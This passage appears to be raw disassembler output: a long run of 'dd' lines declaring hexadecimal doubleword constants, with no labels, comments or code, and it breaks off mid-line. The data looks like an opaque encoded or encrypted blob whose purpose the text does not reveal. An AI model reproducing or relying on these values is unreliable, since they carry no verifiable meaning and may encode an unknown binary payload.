0A227844Dh, 2A57F644h, 180E6438h, 55E7C06Bh dd 0E8609272h, 2CDD02BDh, 0EF313DC5h, 40A4A74h, 0B644F7CDh dd 0FFC60482h, 327C3CE0h, 8AF8555Eh, 916DE0ADh, 0F3887CC2h dd 0DE5C5F5Ah, 9A5480C5h, 6ED22471h, 1CF92816h, 410D675h dd 27F4358h, 560DC068h, 3296F07Bh, 736E724h, 6049761Eh dd 8A95C0Ah, 20134BB3h, 0C07204ABh, 36A887EEh, 0BD507002h dd 1CBF60C8h, 57AD81BBh, 0F3845539h, 4B06ED50h, 296104ABh dd 8C2CAEDFh, 0C941CCh, 167EE1B6h, 0ED004390h, 0A7BF7C44h dd 815CE4E9h, 8A286E5Dh, 0F554BF5Fh, 8492EFCAh, 40AFD957h dd 46190DECh, 0E648C134h, 0A202D6Dh, 0F2A6D35Bh, 74BE3E0Bh dd 61EBC266h, 18AB5A05h, 21BCCE9Dh, 0AC0F153Fh, 549FB787h dd 606ECC7Bh, 3294350Eh, 48252589h, 0E00B0154h, 0F5828607h dd 9E9E9870h, 44DAA7C7h, 57A9BF27h, 7B6CFC39h, 0F1E92430h dd 4DE5BDE5h, 0E8431B13h, 0C2F1295Bh, 68AD498Bh, 0CEEF84EFh dd 6F210943h, 56ECF51Ch, 0D95FA082h, 9B47B99h, 91F17F13h dd 0DE82519Ah, 2BEB8109h, 21B31A5Eh, 5EAF2FB0h, 0CBCED8C8h dd 3613F3C2h, 17B837E8h, 2CE07B4h, 0A1A049E9h, 0E64CBDBAh dd 0D2F70F12h, 4A303EACh, 5A0D7146h, 4F7BC958h, 4177F69Ch dd 0F4F3E9FCh, 4FBC88BBh, 8612CEA4h, 151315FDh, 0E431FAE3h dd 0AD2B502Ah, 2997C433h, 0C38B5C0Eh, 51315300h, 7DB03DD5h dd 16D7FEC8h, 9EEFC5Ah, 0DEE828D0h, 4A26BBh, 80C5B450h dd 0E917ADE4h, 4333A2E6h, 0B353F866h, 35489032h, 88F6D5FAh dd 0E6414618h, 0D377BC3Bh, 2AF92EEh, 0AD56AC0Eh, 0FDB400D9h dd 45535507h, 320E3352h, 3C6C642Eh, 56444107h, 98495032h dd 0FC544E0Dh, 0A54E34Ch, 0E985013Fh, 686EA0F0h, 16A0B112h dd 0DE41D202h, 346640FDh, 3715C8A1h, 24A26F42h, 0A3B6212Dh dd 24102312h, 81989A4h, 0FA5443Ch, 22B94284h, 0AF2D0005h dd 0F2E1BE10h, 9C0079CBh, 56338536h, 0E83A7Fh, 9FF1CC0Bh dd 795E5266h, 15F24400h, 0CEABFDBCh, 63B5000Ah, 196B5086h dd 7F00850Dh, 58088799h, 0F2CB2ADh, 0C9EBE255h, 0AA02AEC0h dd 92039553h, 0D1FDE413h, 77639270h, 2222440h, 0F057E500h dd 441127C8h, 7D290092h, 0D7B2F625h, 9100BF1Fh, 0E52DD13Fh dd 0B50B8DFh, 714E37D3h, 116B00F7h, 3E329705h, 0CD811BA0h dd 37F430E7h, 0F33BDCFBh, 6BF8ED1Eh, 4D2A3DC0h, 1D893584h dd 80519931h, 3A176952h, 41001F9Ch, 58A50EA4h, 5B23311Bh dd 0C389C065h, 5406A619h, 0F615C77h, 0ECC9006Bh, 0A17ED0E9h dd 35008736h, 0E3F4BCFCh, 0AB88DAh, 64419326h, 1CF94B74h dd 0AF01BA00h, 2F151BA3h, 4396A088h, 12E10548h, 4BF7C4h dd 31171D72h, 513BF1E8h, 0EEBB45h, 0E68682E2h, 0EA38A57h dd 40993D48h, 80C86020h, 9A0125B3h, 6E4D8552h, 86D82F3Fh dd 5F12007Ah, 595CCBCFh, 80315C1h, 51373DCEh, 65803BA4h dd 8131E680h, 0CD6CDD12h, 98573500h, 3B3EA587h, 0E2432D51h dd 9646E200h, 0FA00D729h, 0B592E4D9h, 4C9E1Dh, 153666Fh dd 0B80AB324h, 77397F01h, 2E0B5D60h, 0C45A20h, 7CCEF1E7h dd 3284379Fh, 989E260Ah, 0C68483B2h, 3E2364CBh, 13DB23E8h dd 5F5445ECh, 0C5FA7384h, 0E04ADF6Eh, 0FDC216F3h, 0CC360065h dd 0F8A417BFh, 0D101ECEBh, 4D0DF125h, 42C0146Ch, 0F3E200AFh dd 93C21AC6h, 0EE043E27h, 53C0FEEDh, 0D7D193h, 17ECA57Dh dd 0E0390740h, 0DDA94500h, 0F4C81F86h, 0C37E97h, 9C2A4E8h dd 754C51F2h, 39FFB81Fh, 2E5DDA40h, 7708B323h, 0F6C18B6h dd 5BF3CEC2h, 3B0D1309h, 8073097Eh, 0EEEAB761h, 0A77F07D1h dd 0F61E70D0h, 2C7D689Ah, 4A558400h, 7785318Eh, 0CEBFA923h dd 439048h, 0B4605D76h, 0B5232D5Ch, 0BBC10906h, 6210A8h dd 0AB0EC794h, 0F478A7FFh, 0AD84CC1Fh, 0D4D12C80h, 4F389F48h dd 0A6BC85h, 9CDAABAh, 29D6AB2h, 0D2DA8635h, 41D5E6CCh dd 3ADCFABFh, 1FFB000Bh, 45905DB1h, 702CC874h, 6001CEAh dd 0A3F01858h, 0F38B002Eh, 0A02AA5ABh, 30FA5DFAh, 0BD1BE800h dd 5D3B002h, 60E00BAh, 6762FE2Fh, 33E8CBC2h, 0DAE281Eh dd 90FCCAC1h, 25E81D38h, 427A97A7h, 0E5B48h, 0CD1F9E35h dd 0D9E2F0h, 8E2BAA87h, 45785F3Ch, 0FEBAF300h, 469825B2h dd 51680069h, 9B622FFh, 0FC00DAB7h, 0D9616DBFh, 9089EDD3h dd 601113Bh, 6A77C09Fh, 12A24E6Bh, 4EAE949Ah, 4DE0C237h dd 7E8B3786h, 0B7635800h, 949AD5Fh, 3C501DA8h, 0E9AECC1Eh dd 6412122Eh, 321CF002h, 884CE36Dh, 34A1715h, 7B832F8Ch dd 5D3B8F75h, 0B4E381A3h, 0F8D92DA9h, 0BDD320h, 0FF6D7925h dd 393F074Fh, 835349h, 704D8A67h, 14A3A9D8h, 0FA3B3A9Dh dd 6B4812h, 0B74FA7C3h, 1B0F8965h, 7E252B73h, 9A5DF940h dd 0C928C3h, 6AF1CEB9h, 0E38FB73Bh, 0F6BA9D00h, 0A5C75E19h dd 77EE00E5h, 0E7F2C5DEh, 8A302710h, 6F9A320Ah, 5C8B09B5h dd 0B36081F6h, 6F421EEh, 0D3025A09h, 0BEC90ECh, 573D3343h dd 0BDB96BB5h, 88F1A4D7h, 0C55D8580h, 4D94A67Dh, 0B53DAC22h dd 99061Fh, 0FE040A39h, 0DECC23B3h, 90BDEE81h, 0D1580086h dd 144337EAh, 3074CE3h, 0DE32D36Bh, 1587B055h, 951FD81h dd 80E0DCF4h, 9E004A72h, 347C2492h, 0B0FC392Eh, 0FB9ACF07h dd 7A5EA800h, 5B54AD45h, 0D5E985F0h, 937DD8A4h, 93BA60EEh dd 0AB14C801h, 66577C59h, 509B37D8h, 0E49020h, 31A683D5h dd 0B7013A8Ch, 0DFDEF902h, 4821B08Dh, 54506F4Bh, 4B49AFEh dd 341A20A8h, 4847808Bh, 1291E64Dh, 88F60038h, 0C2C890D8h dd 609EAADCh, 3939991h dd 0E2D7FECBh, 87EA6FB3h, 72F0BC0h, 49F2BF3Bh, 912E048Fh dd 4280D8E5h, 0EB73F2Ah, 730B4995h, 0C06B7884h, 9FAD97F0h dd 3F220h, 0C719A636h, 82D4E9EAh, 0B12DA524h, 0F1437680h dd 0FAC314h, 67496FA8h, 1EFB4D70h, 0D7CCB360h, 6CBE01h dd 2274478Fh, 0A2888E16h, 0BBB6DDC2h, 40B54A54h, 24C7F4C7h dd 401F2E98h, 88348B4Dh, 0AD5D7B05h, 0E1079524h, 0D62177DBh dd 8160B67Eh, 5C289202h, 25024D85h, 4D13E2FDh, 0E6A414E0h dd 0AB161513h, 0CC7ACD01h, 0C1202E9Ah, 0FD132066h, 877D40h dd 0DEF80332h, 0B72531DDh, 3C815200h, 99E87990h, 0B2890C09h dd 0E7AC8F27h, 3B81A00h, 8CD0FF57h, 496A489Dh, 398BB300h dd 0CC79D180h, 79A05E4Dh, 4FB08260h, 16B48149h, 13E8E91Fh dd 89AC0049h, 0B6625B7Ch, 97C65E05h, 7DD20853h, 0B98160D6h dd 0FA9502ADh, 650977FFh, 0A6F003E0h, 4061000h, 8750363Ch dd 0E964EE31h, 0FED56DD8h, 0B2FA0322h, 86FEE4EAh, 0AE121E3Bh dd 0D7051DBBh, 0D780DF27h, 1E0C24C1h, 1A6EE16h, 9F76BEFDh dd 3B58E489h, 50B1C00h, 0C45C31Fh, 139033h, 7F573444h dd 0B7B95E3Ch, 6A0B3D98h, 0C1DA7280h, 52604EF0h, 0BD1EEDFh dd 15BD9AECh, 5B5E93A0h, 0AB192C09h, 7FB4C012h, 133670h dd 0CC1E9B36h, 84D6E9EFh, 982FA724h, 0A0A62E03h, 1880B4BAh dd 16CD3CEh, 0B1F9A513h, 208829ABh, 4D2E7572h, 87906005h dd 3BA00E8Eh, 38E0639Dh, 34B6C101h, 0BC765C62h, 0C08A249Dh dd 13EA32CAh, 64014885h, 7C823592h, 229DBB96h, 0BA9AE8AAh dd 0FC09006Dh, 1E03E1DAh, 3E06A4BFh, 5D212F19h, 11CB02FBh dd 547F5CAEh, 1E981F50h, 0E1F4D100h, 2EA986D8h, 43D008Fh dd 0E2DBFCB4h, 1E0EB390h, 376C499Bh, 0B2974Bh, 1D23AB4Eh dd 8A8D6137h, 4EE9504Bh, 9E38007Dh, 1CF3CB1Dh, 0FB970030h dd 0E58AE1DCh, 0C20110C6h, 283261F9h, 123013BBh, 152DB0D8h dd 0ADB8A8AEh, 0C9FE03Ah, 9DE541FFh, 9DE9CFD5h, 88C0FD1Bh dd 0D7417049h, 0A2350090h, 80EDC91Bh, 0B33B8AD2h, 81A400C5h dd 0ECF22193h, 56E830E6h, 48F41C3Ch, 3863B4Ch, 9EA46C74h dd 0CC1D3BB8h, 0D5307584h, 1EEBC101h, 32189D57h, 432072C0h dd 0F7C2893h, 0FADE812Eh, 4BDCA9A7h, 838E8420h, 200E6853h dd 0A1A58949h, 74A3D503h, 24F8220h, 8057246Ch, 1BC0913Dh dd 440793A0h, 0F75BCD79h, 6AC3A125h, 0F5250034h, 0A6335D1Eh dd 0FE00A0E2h, 6A1765CFh, 2CA7E3C7h, 9A4A8Dh, 1847745Eh dd 630C3008h, 109F4B6Eh, 0F3CA3E0Dh, 6C9E3A86h, 0EE075D67h dd 0A52EA42h, 28563C41h, 0F4E3DE80h, 0FFC51DC9h, 30F7181Ch dd 0D8424840h, 26A71140h, 716379Ah, 51F208C9h, 0E82F5F16h dd 713F1DB5h, 961B8F5Bh, 0E236001h, 675A4046h, 706E5A9Ah dd 0F2CB0C17h, 0F1C8A001h, 96C92B18h, 43432E1h, 402AD2B5h dd 9526B004h, 6B00A3E9h, 44EE191Ch, 4CE0A2h, 1D06728Ah dd 114D73E3h, 14C425h, 0E0BD0F1Bh, 19C530F6h, 6CD0466Bh dd 0C0162E00h, 40DCB3FBh, 4213FB7h, 365F0D0h, 98AE4E88h dd 63CB4930h, 9D20B7E8h, 199F10Fh, 33DB6055h, 396E5EBh dd 6C166F6Dh, 0A8A0F244h, 0AA00B0F8h, 1C84EC3Eh, 797A264Eh dd 0BEA43D72h, 0D23BA63Dh, 66707B80h, 3F450D55h, 1AED5933h dd 616B86Dh, 5B57072Eh, 0D0C21AAFh, 620EAD29h, 25023290h dd 75F0BB2h, 7650D8h, 3036FE06h, 1CA72C4Ah, 0C3FE5E77h dd 4F47DE0Eh, 0FE9C001Eh, 2B9046h, 0A33401D9h, 0C9166E1Ah dd 4B00F00h, 64727DACh, 9EAB2957h, 0F95D31E6h, 0FD2E60DCh dd 78791901h, 0EB0141E3h, 35820C4h, 92486C52h, 0D2B8801Eh dd 0EDC47ECh, 0F8000E24h, 6713A62Bh, 0D0E0000Fh, 5B28E3F3h dd 0BB30417Ch, 0C1E92DD5h, 6F7D1229h, 0C661C014h, 2B144017h dd 58BBCA1h, 0E46A5056h, 0B97E8783h, 0EFE88FBEh, 0F5CA0012h dd 219A3C49h, 70006875h, 3B96A34Fh, 48C5D27Eh, 0F22E0212h dd 1F2C051Eh, 4A7F80B6h, 87073388h, 0B864597Ah, 0F5746862h dd 0C278478h, 0BD457D24h, 276ED0CBh, 2F7E47CBh, 893B25C7h dd 7428F028h, 6B9A3B22h, 13AAE903h, 0E8E4972h, 61824C03h dd 3CE89B6h, 0D76C62Ch, 0C045BCFh, 34BA2095h, 5A9A7CEFh dd 428F560Bh, 77A94C08h, 1775958Bh, 0D55F8B4Fh, 0EF172E81h dd 3B8C4137h, 34720A8h, 0E007FD90h, 4A2DBD8h, 4B07407Eh dd 18890E66h, 4F10E85Ch, 8F0013BAh, 0AA7FE1B6h, 7C25946h dd 3DD62F36h, 0BB66D0BFh, 5A0A8A40h, 0B1EDF380h, 0C6AA208h dd 2470CE8h, 0A1622F03h, 0A887048Ah, 1F4E89C9h, 0B0800F23h dd 585B5025h, 10ABF48h, 0EF811C74h, 0C803776h, 8B06CF80h dd 0F5C600Ah, 0E935630Ch, 980B0011h, 0A66BA53Bh, 0F5071053h dd 8E779A70h, 808F0DC0h, 0D061500Ah, 0A4D104B1h, 0FBF08B57h dd 87351BC0h, 0C40BFA3Ch, 847A444Bh, 0CCA300B3h, 0E0C08DFh dd 88EC3CC0h, 56667F4h, 897441B8h, 381C400Ah, 0D33A316Fh dd 57E07502h, 0D75B1563h, 0BE664C01h, 6075FA03h, 4B850FE2h dd 0F62DA496h, 0AD5BD400h, 12B2ED58h, 85040083h, 285D4095h dd 34F08926h, 688963Eh, 7C6C1225h, 6E833C08h, 0F8C1921Fh dd 218B9799h, 0FB6BD0EDh, 311B860h, 0D0215842h, 353C1CC8h dd 11286C98h, 460D6384h, 812D8992h, 0AEC33E44h, 0A5110138h dd 0AA13B850h, 7C25001Ah, 0E4A10C3h, 32499915h, 0A5233702h dd 504ADF90h, 2DC80640h, 109844FBh, 19BA8900h, 9B750A97h dd 7911B887h, 11E0CF62h, 27C5A5h, 0D8E86584h, 3F615D08h dd 170D5110h, 0F9BA8180h, 0E62C939h, 1649481Dh, 56AE013Eh dd 117D08A7h, 0C12E35FCh, 25AA9138h, 0F04D61BEh, 0D3F08D54h dd 0FD108560h, 18160A1h, 6E57DF40h, 0E304C855h, 78E0B1ABh dd 5A7CDA5Bh, 14835628h, 79523Eh, 9D2549C6h, 0E98B5A43h dd 50A862ECh, 0A39CFCFh, 2E798318h, 3FE508ECh, 0D32B9980h dd 10D2B057h, 6229133Bh, 9D5B90h, 0DC3E209Fh, 3892800h dd 87DB6DF9h, 21F361E2h, 611BF712h, 11200F71h, 0AC90D92Dh dd 76B6809h, 20240027h, 998DE1D5h, 8587360Ch, 0C0180869h dd 0D57B4A21h, 0BA1A8DF0h, 1588CFFh, 160D56F8h, 0DD32C050h dd 9B7F03C7h, 932928D7h, 2C6308BEh, 0C8D55421h, 0E6C1EC0Dh dd 2B0B0310h, 0DFD0FC85h, 9C8042DAh, 0A89BC28Dh, 83F460D1h dd 0C9128F47h, 2C2428ECh, 466F0545h, 0A7EAE61h, 98F4A6F0h dd 676A2140h, 30BF4600h, 6E72BE1Dh, 0EDA411AEh, 95640039h dd 748EB40Ch, 3805000Eh, 0A6A7DEEh, 0EA00B8C3h, 6D4D7201h dd 0B0138Dh, 0E786CD5h, 0A716A6CFh, 1F66FF3Bh, 10876AF7h dd 2354B983h, 0DCA66080h, 0AADE126Fh, 386C046Bh, 230E054Dh dd 0CBB18447h, 594277E0h, 0FA89004Ch, 0E6179234h, 1C9045D0h dd 0F85538CCh, 0B4F65303h, 0B9C058A7h, 30E5A05Eh, 0F019220Eh dd 0DF0053D9h, 0A25FD751h, 3EB6DDh, 0FC02D212h, 0EDE372B5h dd 7E00DC91h, 0AD231591h, 354204B1h, 8122928Fh, 0DC79D227h dd 0E761FFAh, 0CA8C8650h, 0D40662E8h, 0CDC04BC3h, 44A24C40h dd 0A2FA771Fh, 0E85EA302h, 43580C6Ch, 0D493FCD0h, 0C5210099h dd 6B1E856h, 0CF12B02Dh, 9C183320h, 849C3448h, 1FC39200h dd 2CDF4E7Bh, 56D300F5h, 5ED2D08Bh, 0E3074334h, 0B4217754h dd 0DB657D81h, 6A7FC8h, 0C7490804h, 7841FCA7h, 2800EAF0h dd 3007ED7Ah, 0A035C8CFh dd 7D7D1E38h, 882E5486h, 0DD9B0042h, 0A6205352h, 0FA34A8A9h dd 0B0409187h, 759334D2h, 8890D872h, 78D8E935h, 0DC260D10h dd 50864029h, 3F980AC7h, 0FEDD0603h, 0A01FD11Bh, 18602F64h dd 0C08069A1h, 6D400BB9h, 0A07092B0h, 18F7E10h, 0E7FAD125h dd 520C4A61h, 4840E3A4h, 5C1FE4F0h, 0A02AA7AEh, 7EA11000h dd 340A99BCh, 0B989609Dh, 1E22C10Ch, 0B8185090h, 531990FBh dd 619B004Eh, 0A48218DDh, 0CFEE6EA8h, 0B854B20Eh, 0A9AB83CCh dd 0ED4F05Fh, 18D9C021h, 3913F4EAh, 89588D00h, 0B7D44356h dd 44E52C2Ch, 30FD2400h, 0B85E960h, 5C615501h, 1A38A7B0h dd 0ECD3A889h, 3F4E4010h, 0FB532500h, 1F41F62Fh, 2D520030h dd 0BEF2EDE4h, 0E9746A84h, 0E2C9D601h, 436298Dh, 269582F4h dd 31860E1h, 0F4EE6C7Fh, 1B0D39B8h, 0E489A9C0h, 0F15D320h dd 7036DF7Ch, 5B493860h, 5A1EE165h, 6093FBh, 0B6EDC11Ah dd 0DCAD88C6h, 510BAF0Fh, 91062A4h, 501C4381h, 937C1868h dd 0E8630174h, 18800C71h, 5BCA8898h, 0F344E800h, 739D286Eh dd 0CFC8006Ch, 6585A45Ch, 1E1D8FE9h, 0D8F0E472h, 4B46E0h dd 66EB3D31h, 0C2919609h, 1A2D7400h, 9721C42Bh, 9C993134h dd 24136B61h, 78ECC54Ch, 4C7BFC01h, 805C2094h, 0E359ECh dd 0C2E98237h, 54E2FD3Fh, 93FE70F2h, 0A6A55202h, 411A5EC1h dd 0C3F5240Ch, 45C2FC60h, 4842A484h, 82C7E0C0h, 22EF469Bh dd 0D8573C2Eh, 83F0A69Ch, 0E53ABEB9h, 24D0D3C8h, 91055EFAh dd 0F7BA8FDBh, 4862C092h, 0FD40464h, 6F3FDD56h, 880C9D49h dd 5C2EDE19h, 0E8C1486h, 73E6924h, 938C51D4h, 9AB25364h dd 14896E80h, 0A8026139h, 0E30D497h, 7C093125h, 3AEA7F17h dd 4BCC5036h, 0BAF34300h, 0E61ECF16h, 526C2500h, 852665C7h dd 0B08D54FAh, 0AF3A4C97h, 332A6D00h, 0E41581BDh, 8A52C501h dd 8D926C26h, 0D8505462h, 0A665004Dh, 0DAB1A746h, 0C0B0A5F4h dd 88018F5h, 818DDED5h, 474020C4h, 38A9D578h, 8EAC3100h dd 11480D0Ch, 3A6076Ah, 308F1E15h, 37F2C18Ch, 4CA4DCA2h dd 24B08707h, 860E0B0Ch, 20167Ch, 0F131BD8Dh, 0BED562D1h dd 79336809h, 925C8167h, 60402993h, 9AFC1CD0h, 2494A3A0h dd 11049139h, 0C7E1875Ah, 33F79BA2h, 0D95847B4h, 32F0C497h dd 4C22108Eh, 0AF002A42h, 183BAEF0h, 9E74B90Ch, 650C489Ah dd 893E8F92h, 4927600Eh, 638AA3CAh, 8060AA39h, 17E5736Ah dd 0D5BA5Ch, 0C9F4047Fh, 0D36C998Ah, 0D8B06401h, 0A586ED39h dd 0E2785830h, 9845123Dh, 566C4D70h, 7BFC4C59h, 851C3B00h dd 0F4900536h, 8AE000D7h, 18734DEFh, 0C1180ED8h, 7DA815AAh dd 0C910163Bh, 0EDD80340h, 5040136Ah, 58BBD4C0h, 5D466B01h dd 3A185EAEh, 636688h, 9DD6D946h, 0F3DA0F5Bh, 688B448h dd 36EDCF0Ah, 0C83B3B29h, 556500FEh, 20C6C203h, 0E500CFAFh dd 0D62D7C63h, 5CBB926Ah, 0E8B7A0F4h, 5F466DC0h, 486E52AEh dd 46656880h, 0C9A02285h, 48C054BDh, 552308C2h, 9F50094Fh dd 2C00320Ch, 0EC6002EBh, 0AB134212h, 0C8208D5h, 5D7C48F7h dd 2BE0695h, 21190DF9h, 0B6AF3901h, 85CE6C16h, 0BE198E4h dd 8270623Dh, 59FCA8B0h, 90BCD00Fh, 4292848Ch, 96E5B20Fh dd 76D8883Fh, 5D01C09Bh, 500C6BE8h, 0C488A018h, 0FFE80055h dd 58F8645h, 413F4EDAh, 0AA8D045Bh, 0CB49CCFh, 6313018Eh dd 2EAEFD0Eh, 0CC2821A7h, 78C926B8h, 8DFE02E9h, 9DD4E0E4h dd 46212540h, 2C23081h, 89B00F4h, 18476B4Dh, 0D4DFB019h dd 0CD030E45h, 81DA5F61h, 91D1804Fh, 17F1E8Ah, 53BC9AEh dd 138500A0h, 6601EF69h, 57671134h, 0A4571F0Dh, 0B13EF371h dd 3A86BDD8h, 9800BB14h, 5DDC6374h, 44039D84h, 309FAE64h dd 0E3B80C06h, 2589B113h, 1D209B0Ch, 465A02Bh, 13439D86h dd 63F4B4A8h, 0E2910C0Ah, 7F02BC24h, 50B54095h, 9A040550h dd 0C6C1061Bh, 6FB020DAh, 78549C18h, 4034BC48h, 44FEAE16h dd 104872EFh, 2413C9C6h, 0A8E801E6h, 811E64CFh, 3C788320h dd 204FD662h, 81C66711h, 1D80CF4Eh, 63C40E01h, 0C54A00F8h dd 7831DAD5h, 21C10A69h, 82AC0A0Fh, 0B19FC28Fh, 6C6AD481h dd 0C3198009h, 2269996Dh, 0BAD210A6h, 0DD0E1372h, 109ED109h dd 0C384E370h, 22B0D308h, 7AD9F6D8h, 0FC9809E2h, 0F856200h dd 84D00863h, 8A78C3h, 9AA149E7h, 0A9389D6Dh, 8DA43B50h dd 199B353Ch, 87102A45h, 2A92AC30h, 0CD42B84h, 2770C72Eh dd 0B8C4CBE0h, 950286D7h, 0B0E00572h, 8780033Dh, 4BA59A1h dd 438CDB00h, 0D5E4D216h, 0C85E7C00h, 0BDEF90E3h, 588907FDh dd 8083EBEDh, 0D27DE1CFh, 0ECE95B98h, 64780BCCh, 9003E979h dd 8E0FC561h, 6344A05Bh, 0F1B6075Ah, 1E7018Bh, 30CAE916h dd 0B4005B3Eh, 0B65D84EFh, 5647DFEh, 5887EBC4h, 7382921h dd 858C87D6h, 31182AC3h, 0F39208FBh, 0B080F1E1h, 5E89DCD6h dd 1600D9F0h, 83D5C402h, 144EFFBh, 0F1D06466h, 0E0E5FF67h dd 0CA054A5Dh, 21F869E0h, 6DF56803h, 8606C7FEh, 0C5988339h dd 7E09047Ch, 3B10C040h, 0C0D0E796h, 9DB71718h, 4C1C3DB4h dd 0E300CF02h, 664E27A3h, 30C0125Ah, 89BE2052h, 8818C7A4h dd 759E82ABh, 0CBD30880h, 4F0CA544h, 0C62CA243h, 2CCC5045h dd 0B7A705D1h, 6317BE38h, 8847EF0Ch, 355F180Ch, 75A99130h dd 0AE59C34Fh, 790379CFh, 91963766h, 0F4400DD1h, 0EBE8D37Eh dd 59EB4030h, 0A83722DAh, 5088F478h, 87FD58CEh, 0BF15437Eh dd 0EFA31010h, 75B0408Ah, 4287A380h, 7BD0321Fh, 0B5A22421h dd 7E0CBBCCh, 0D1284D62h, 0AAF6E30Eh, 5E549E51h, 0DC44320Ch dd 0ACE4482Ch, 1E111EA7h, 8DA38126h, 0D023CBF1h, 0CA08794h dd 9524C116h, 0B980FC39h, 4106E3B5h, 544D071Ch, 42CDA9FFh dd 0C83D5D0h, 2BC230D2h, 27AB1468h, 919458A0h, 143B6E14h dd 88E6E864h, 0CB15C18Dh, 408CE79Dh, 8184FBBCh, 0EC0854B8h dd 0C4802167h, 0ACA3FE3h, 0A550CB19h, 4F165F8h, 0C2215CE0h dd 0C013FE5Ch, 83A4799Eh, 2AAE4018h, 53D187C1h, 38228C22h dd 0E347E48Dh, 0B9C4F215h, 98907C89h, 8D9098BAh, 90E58B82h dd 0AC45A164h, 5C515B61h, 884CB715h, 50CC0902h, 6404D288h dd 87D1204Ch, 0AC48A0EAh, 40FB2837h, 0A25E12E0h, 2D0C3246h dd 80732025h, 0C9946B6h, 8CD0463Ah, 76912CB2h, 0CE0A5504h dd 666688AEh, 16DA28E0h, 720742F4h, 0C2BA9F22h, 25ACA540h dd 82876040h, 0C8281348h, 4680A1B6h, 0C8C99EFh, 8CFEDF28h dd 0E354F313h, 0D6880C3Fh, 24D5EC54h, 64A811A3h, 0A380502Ah dd 0C99467Dh, 8CA60D14h, 0D59C8124h, 10EAF611h, 0B199CE58h dd 0C8A02744h, 61B55852h, 0C1A23412h, 0D879144Ah, 6B74106Bh dd 5061D564h, 0A157DF2h, 11E4922Bh, 0A8DF2927h, 4AC481B7h dd 0A68DB4C8h, 0E430ABD8h, 0AA76589Bh, 502C4D4Ch, 768DA3EFh dd 2FD6B46h, 94A0EBECh, 9B4DBA04h, 448E6E01h, 410553CCh dd 41337824h, 5BDC4243h, 40129024h, 6F7E0210h, 0A6631621h dd 0E452D270h, 10F4C344h, 53EF229Ch, 1F043C8Eh, 795A9130h dd 3C70E814h, 47DC321Eh, 47D895AEh, 0FA80043Ch, 0D77861CFh dd 49DB1440h, 1002507Bh, 0B4598DF3h, 227CD05Ah, 0DF3C2178h dd 0BEB9287Fh, 15005579h, 0F1C3617Ch, 52C6647Dh, 0B78F14D6h dd 30568A06h, 0D05A930Fh, 0B56182DDh, 0ECC500EFh, 0B41E4987h dd 38082D5h, 0CDED4745h dd 909260E2h, 25D89F1h, 0B90218DDh, 5B5B8FD5h, 0EE108ED0h dd 0D8C85E81h, 0E0B2D093h, 785D8D30h, 0C3B8618Ah, 93DFC531h dd 578D590Ah, 10690CD1h, 0F21010h, 0D9B4EF7Eh, 0E0D06486h dd 38C588A1h, 0D0244A1Ch, 5AAD20C0h, 2845843Dh, 72323C20h dd 8812F429h, 7949CE57h, 0DA5F1E78h, 0D8AE19B0h, 0F1420E85h dd 15EE62B9h, 0D53B819Fh, 20EA2230h, 0C3695DDCh, 24340338h dd 587C09h, 0AC821673h, 0F411A15Ch, 0B49D3518h, 491F9A1h dd 96C1C431h, 0C3A4875Bh, 0A91057C3h, 5F09CD34h, 20A2E052h dd 4A075125h, 0A1C4E15Ch, 96101C18h, 363D0211h, 4A34509Dh dd 0D314D60h, 0D0207409h, 4F282C18h, 704A1374h, 20F84823h dd 42481B2h, 92F89147h, 0B830D305h, 0DF6B594Fh, 0FE30C6D4h dd 0DB3179BCh, 9C4B316Dh, 0CDB75182h, 0C882892Dh, 48C8F7DAh dd 4E348714h, 3480648Bh, 942C9C09h, 4C84E988h, 43A8D393h dd 0A5917903h, 189B8F9Fh, 69473930h, 0A20D551h, 12C4905Bh dd 9DC0D91Bh, 1A030FCh, 8325AD21h, 2C8637E3h, 0F26C3116h dd 4C233C4Ah, 4A589495h, 6C920C64h, 0F3390D14h, 0CE9FAED0h dd 0FE308A62h, 0CD38499Ch, 0A9D14C52h, 0A71C4C58h, 0B6540254h dd 0A49094CDh, 64854393h, 3B6331BFh, 0B4B8AC19h, 0E6105CA3h dd 435CF888h, 372A1128h, 8F85099h, 0FD7185B0h, 428DC808h dd 42144EBEh, 2180100Bh, 1642C2FCh, 98441188h, 788E2B6Ah dd 508A1790h, 0FA217C28h, 8B2A4223h, 106AE824h, 2FA23916h dd 87222010h, 302772E2h, 5C99524Ah, 0A2426C24h, 601929BBh dd 55D1004Eh, 60D948E3h, 5A3F3581h, 4061B236h, 0CFC06122h dd 9038B13h, 4E3DABD2h, 1D9022C0h, 1609D963h, 54C4B110h dd 1E1EB191h, 0CF067B2Bh, 4010D1E6h, 4153D02Ah, 20584338h dd 792B6524h, 6B70055Ah, 0B53C601Ch, 0A230346Ah, 451511B7h dd 0A0CD52BAh, 0C964DB26h, 4109481Bh, 10898D81h, 98D639F0h dd 103A4354h, 38402EBBh, 6B591835h, 11DE1132h, 3D5CE41Eh dd 5A5DD700h, 0FB5248Ch, 9AA073CCh, 0E353EBA0h, 0C1147AABh dd 24AA35h, 0B44AC38Ch, 1E3B248h, 7267537Bh, 0F7F24FA4h dd 9CB821C9h, 48C29128h, 805B4562h, 0CEEAC454h, 333816ACh dd 0E16E0035h, 971D0180h, 2B2696F0h, 0C3005C29h, 0A28D711h dd 0AEBB0A1Eh, 0C48ABh, 6983D42Dh, 86207E3Bh, 4BF30943h dd 0B4E06E87h, 330650B0h, 23067EBBh, 9E42520h, 312080AFh dd 1EDD0EFDh, 0CF439500h, 0FA17DC96h, 7CC300D8h, 0A14E5953h dd 5A0092F3h, 0F4F3DC0h, 6FB237A9h, 599F6014h, 220919B5h dd 1BD70000h, 157A35A6h, 2DA40277h, 2CCD4A92h, 4F26C8C0h dd 85482748h, 14C80983h, 0F2FE3F51h, 9918D380h, 5CCFBA81h dd 0BB8CF101h, 13412733h, 10AC3990h, 0D50C20E7h, 0F898FE92h dd 935B7300h, 525DDB53h, 38F90C72h, 39C87E6h, 27EF8B03h dd 0A0ED902Dh, 1CEC91F4h, 805BFF78h, 0FBAE8854h, 337CF035h dd 77021700h, 72E516BBh, 7AE9E4EFh, 2D1D1F8Bh, 282E9B79h dd 0F891110Fh, 0FE758016h, 78E73Bh, 770117BBh, 5AF372FFh dd 9001C2DFh, 85F03AEFh, 700322E0h, 0F41C0391h, 8D52B98Eh dd 0BE04B846h, 8545FEE0h, 84B420E7h, 0F520B90Ah, 0A581877h dd 104D627Ah, 0FE60C7A1h, 2DB050CFh, 70046103h, 0CBD669F3h dd 8180062h, 8965CDD7h, 7D0C6859h, 48CA57E5h, 0FA4700EEh dd 0FDE167A4h, 0C002275h, 299EC0CFh, 0EC8F43h, 0D1CD5F6Ah dd 